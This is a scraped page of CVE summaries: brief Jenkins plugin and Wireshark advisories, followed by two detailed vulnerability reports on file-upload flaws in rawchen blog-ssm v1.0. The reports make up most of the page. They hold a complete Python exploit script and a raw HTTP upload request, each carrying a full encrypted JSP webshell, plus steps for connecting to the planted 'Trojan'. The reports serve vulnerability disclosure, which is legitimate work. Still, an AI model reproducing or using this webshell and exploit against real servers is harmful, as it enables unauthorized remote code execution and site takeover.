Jenkins OpenID Plugin 2.4 and earlier does not invalidate the previous session on login.

CVE-2023-24444: Jenkins Security Advisory 2023-01-24

A cross-site request forgery (CSRF) vulnerability in Jenkins JIRA Pipeline Steps Plugin 2.0.165.v8846cf59f3db and earlier allows attackers to connect to an attacker-specified URL using attacker-specified credentials IDs obtained through another method, capturing credentials stored in Jenkins.

CVE-2023-24437: Jenkins Security Advisory 2023-01-24

Jenkins JIRA Pipeline Steps Plugin 2.0.165.v8846cf59f3db and earlier transmits the private key in plain text as part of the global Jenkins configuration form, potentially resulting in their exposure.

CVE-2023-24440: Jenkins Security Advisory 2023-01-24

Jenkins view-cloner Plugin 1.1 and earlier stores passwords unencrypted in job config.xml files on the Jenkins controller where they can be viewed by users with Extended Read permission, or access to the Jenkins controller file system.

CVE-2023-24450: Jenkins Security Advisory 2023-01-24

Jenkins Kubernetes Credentials Provider Plugin 1.208.v128ee9800c04 and earlier does not set the appropriate context for Kubernetes credentials lookup, allowing attackers with Item/Configure permission to access and potentially capture Kubernetes credentials they are not entitled to.

CVE-2023-24425: Jenkins Security Advisory 2023-01-24

Jenkins Keycloak Authentication Plugin 2.3.0 and earlier does not invalidate the previous session on login.

CVE-2023-24456: Jenkins Security Advisory 2023-01-24

Missing permission checks in Jenkins Orka by MacStadium Plugin 1.31 and earlier allow attackers with Overall/Read permission to connect to an attacker-specified HTTP server using attacker-specified credentials IDs obtained through another method, capturing credentials stored in Jenkins.

CVE-2023-24433: Jenkins Security Advisory 2023-01-24

GNW dissector crash in Wireshark 4.0.0 to 4.0.2 and 3.6.0 to 3.6.10 and allows denial of service via packet injection or crafted capture file

CVE-2023-0416: Fuzz job crash output: fuzz-2023-01-03-10777.pcap (#18779) · Issues · Wireshark Foundation / wireshark · GitLab

An issue discovered in Rawchen blog-ssm v1.0 allows remote attacker to escalate privileges and execute arbitrary commands via the component /upFile.

**Unrestricted Upload of File with Dangerous Type In /upFile****\[Suggested description\]**

blog-ssm v1.0 was found to contain an arbitrary file upload vulnerability via the component /upFile. This vulnerability allows an attacker to escalate privileges and execute arbitrary commands through a crafted file.

**\[Vulnerability Type\]**

Unrestricted Upload of File with Dangerous Type

**\[Vendor of Product\]**

https://github.com/rawchen/blog-ssm

**\[Affected Product Code Base\]**

1.0

**\[Affected Component\]**

blog-ssm 1.0

OS: Windows/Linux/macOS

Browser: Chrome、Firefox、Safari

**\[Attack Vector\]****Step1:After a code audit, it was found that /upFile has unauthorized access and arbitrary file uploads.**

**Step2:Build EXP according to the code audit results, and run it to get the URL address of WebShell: http://localhost:8081/upload/blog/20220901/1662015136678.jsp**

**EXP:**

import requests

\# Configure the target URL.
Host \= "localhost:8081"
Path \= "upFile"
Url \= "http://{Host}/{Path}".format(Host\=Host, Path\=Path)
\# Configure Headers.
Headers \= {"sec-ch-ua-mobile": "?0",
           "sec-ch-ua-platform": "\\"Windows\\"",
           "Upgrade-Insecure-Requests": "1",
           "Origin": "http://{Host}".format(Host\=Host),
           "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryNOyNFd8trb922Qzd",
           "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) "
                         "Chrome/104.0.0.0 Safari/537.36",
           "Connection": "close"}
\# Configure Data, where the WebShell key is KEY, the password is Pass, the payload is JavaDynamicPayload,
\# and the encryptor is JAVA\_AES\_BASE64.
Data \= "------WebKitFormBoundaryNOyNFd8trb922Qzd\\r\\nContent-Disposition: form-data; name=\\"editormd-image-file\\"; " \\
       "filename=\\"text.jsp\\"\\r\\n" \\
       "Content-Type: image/jpeg\\r\\n\\r\\n" \\
       "<%! String xc=\\"3c6e0b8a9c15224a\\"; String pass=\\"pass\\"; String md5=md5(pass+xc); class X extends " \\
       "ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte\[\] cb){return super.defineClass(cb, 0, " \\
       "cb.length);} }public byte\[\] x(byte\[\] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance(" \\
       "\\"AES\\");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),\\"AES\\"));return c.doFinal(s); }catch " \\
       "(Exception e){return null; }} public static String md5(String s) {String ret = null;try {" \\
       "java.security.MessageDigest m;m = java.security.MessageDigest.getInstance(\\"MD5\\");m.update(s.getBytes(), 0, " \\
       "s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {" \\
       "}return ret; } public static String base64Encode(byte\[\] bs) throws Exception {Class base64;String value = " \\
       "null;try {base64=Class.forName(\\"java.util.Base64\\");Object Encoder = base64.getMethod(\\"getEncoder\\", " \\
       "null).invoke(base64, null);value = (String)Encoder.getClass().getMethod(\\"encodeToString\\", new Class\[\] { " \\
       "byte\[\].class }).invoke(Encoder, new Object\[\] { bs });} catch (Exception e) {try { base64=Class.forName(" \\
       "\\"sun.misc.BASE64Encoder\\"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass(" \\
       ").getMethod(\\"encode\\", new Class\[\] { byte\[\].class }).invoke(Encoder, new Object\[\] { bs });} catch (Exception " \\
       "e2) {}}return value; } public static byte\[\] base64Decode(String bs) throws Exception {Class base64;byte\[\] " \\
       "value = null;try {base64=Class.forName(\\"java.util.Base64\\");Object decoder = base64.getMethod(" \\
       "\\"getDecoder\\", null).invoke(base64, null);value = (byte\[\])decoder.getClass().getMethod(\\"decode\\", " \\
       "new Class\[\] { String.class }).invoke(decoder, new Object\[\] { bs });} catch (Exception e) {try { " \\
       "base64=Class.forName(\\"sun.misc.BASE64Decoder\\"); Object decoder = base64.newInstance(); value = (byte\[" \\
       "\])decoder.getClass().getMethod(\\"decodeBuffer\\", new Class\[\] { String.class }).invoke(decoder, new Object\[\] { " \\
       "bs });} catch (Exception e2) {}}return value; }%><%try{byte\[\] data=base64Decode(request.getParameter(" \\
       "pass));data=x(data, false);if (session.getAttribute(\\"payload\\")==null){session.setAttribute(\\"payload\\"," \\
       "new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute(\\"parameters\\"," \\
       "data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((" \\
       "Class)session.getAttribute(\\"payload\\")).newInstance();f.equals(arrOut);f.equals(" \\
       "pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(" \\
       "base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (" \\
       "Exception e){}\\r\\n%>\\r\\n" \\
       "------WebKitFormBoundaryNOyNFd8trb922Qzd--\\r\\n"
response \= requests.post(Url, headers\=Headers, data\=Data)
\# Output WebShell address and connection information.
Path \= response.json()\['url'\]
Url \= "http://{Host}{Path}".format(Host\=Host, Path\=Path)
print("Web\_Shell\_Url:{Url}".format(Url\=Url))
print("Web\_Shell\_Key:{Key}".format(Key\="key"))
print("Web\_Shell\_Pass:{Pass}".format(Pass\="pass"))
print("Web\_Shell\_Payload:{Payload}".format(Payload\="JavaDynamicPayload"))
print("Web\_Shell\_Encryptor:{Encryptor}".format(Encryptor\="JAVA\_AES\_BASE64"))

**Step3:Connect to the Trojan via http://localhost:8081/upload/blog/20220901/1662015136678.jsp.**

**\[Attack Type\]**

Remote

**\[Impact Code execution\]**

True

**\[Reference(s)\]**

http://cwe.mitre.org/data/definitions/23.html

CVE-2022-40037: Unrestricted Upload of File with Dangerous Type In /upFile · Issue #2 · rawchen/blog-ssm

File Upload Vulnerability found in Rawchen Blog-ssm v1.0 allowing attackers to execute arbitrary commands and gain escalated privileges via the /uploadFileList component.

**Unrestricted Upload of File with Dangerous Type In /uploadFileList****\[Suggested description\]**

blog-ssm v1.0 was found to contain an arbitrary file upload vulnerability via the component /uploadFileList. This vulnerability allows an attacker to escalate privileges and execute arbitrary commands through a crafted file.

**\[Vulnerability Type\]**

Unrestricted Upload of File with Dangerous Type

**\[Vendor of Product\]**

https://github.com/rawchen/blog-ssm

**\[Affected Product Code Base\]**

1.0

**\[Affected Component\]**

blog-ssm 1.0

OS: Windows/Linux/macOS

Browser: Chrome、Firefox、Safari

**\[Attack Vector\]****Step1:Registered account, username: text123, password: 123456.**

**Step2:Log in to the account you just registered and click "File Management".**

**Step3:Click File Upload, select the Trojan file that has been built in advance, and click Upload.**

**Data Pack**

POST /uploadFileList HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: \*/\*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------352203683622881217472510347558
Content-Length: 2854
Origin: http://localhost:8081
Connection: close
Referer: http://localhost:8081/adminFile
Cookie: JSESSIONID=F68B6E11EB57F40C26C413029E832793
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------352203683622881217472510347558
Content-Disposition: form-data; name="files\[\]"; filename="text.jsp"
Content-Type: application/octet-stream

<%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte\[\] cb){return super.defineClass(cb, 0, cb.length);} }public byte\[\] x(byte\[\] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte\[\] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class\[\] { byte\[\].class }).invoke(Encoder, new Object\[\] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class\[\] { byte\[\].class }).invoke(Encoder, new Object\[\] { bs });} catch (Exception e2) {}}return value; } public static byte\[\] base64Decode(String bs) throws Exception {Class base64;byte\[\] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte\[\])decoder.getClass().getMethod("decode", new Class\[\] { String.class }).invoke(decoder, new Object\[\] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte\[\])decoder.getClass().getMethod("decodeBuffer", new Class\[\] { String.class }).invoke(decoder, new Object\[\] { bs });} catch (Exception e2) {}}return value; }%><%try{byte\[\] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}
%\>
-----------------------------352203683622881217472510347558--

**Step4:In /file, click text.jsp to get the URL address of WebShell: http://localhost:8081/upload/file/text.jsp.**

**Step5:Connect to the Trojan via http://localhost:8081/upload/file/text.jsp.**

**\[Attack Type\]**

Remote

**\[Impact Code execution\]**

True

**\[Reference(s)\]**

http://cwe.mitre.org/data/definitions/23.html

Tag

#mac